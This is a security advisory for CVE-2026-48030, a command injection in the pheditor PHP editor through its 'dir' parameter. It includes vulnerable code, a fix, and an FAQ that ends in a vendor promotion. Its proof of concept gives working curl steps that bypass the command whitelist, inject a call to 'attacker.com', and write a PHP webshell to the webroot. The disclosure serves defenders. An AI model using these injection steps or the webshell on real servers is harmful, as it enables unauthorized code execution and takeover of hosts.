CVE-2026-48030

An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.

Details

The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only, $dir is passed to shell_exec() without any sanitization.

Vulnerable code (pheditor.php, line 554–586):

$command = $_POST['command'];  // ✓ metacharacters checked
$dir     = $_POST['dir'];      // ✗ NOT checked, vulnerable

if (strpos($command, '&')  !== false ||
    strpos($command, ';')  !== false ||
    strpos($command, '||') !== false) {
    die(...); // only guards $command, not $dir
}

$output = shell_exec(
    (empty($dir) ? null : 'cd ' . $dir . ' && ')
    . $command . ' && echo \ ; pwd'  // ← $dir injected here
);

An attacker sends dir=/tmp; curl attacker.com #, the semicolon in $dir is never checked, so the injected command executes freely.

Fix: replace $dir with escapeshellarg($dir) on line 586.

PoC

Requirements: valid credentials, terminal permission enabled (default)

Step 1, Authenticate:

curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L > /dev/null

Step 2, Get CSRF token:

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

Step 3, Confirm curl is blocked via command field:

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"


→ {"error":true,"message":"Command not allowed"}

Step 4, Bypass whitelist via dir injection:

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"


→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}

Step 5, Full RCE via webshell:

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"

curl "http://TARGET/shell.php?c=id"


→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:

• Execute arbitrary OS commands as the web server user
• Bypass the TERMINAL_COMMANDS whitelist entirely
• Deploy persistent PHP webshells to the webroot
• Read, write, or delete any file accessible to the web server
• Potentially compromise other applications on the same server

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-48030 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-48030? CVE-2026-48030 is a critical-severity OS command injection vulnerability in pheditor/pheditor (composer), affecting versions >= 2.0.1, <= 2.0.3. It is fixed in 2.0.4. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-48030? CVE-2026-48030 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pheditor/pheditor are affected by CVE-2026-48030? pheditor/pheditor (composer) versions >= 2.0.1, <= 2.0.3 is affected.
4. Is there a fix for CVE-2026-48030? Yes. CVE-2026-48030 is fixed in 2.0.4. Upgrade to this version or later.
5. Is CVE-2026-48030 exploitable, and should I be worried? Whether CVE-2026-48030 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-48030 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-48030? Upgrade pheditor/pheditor to 2.0.4 or later.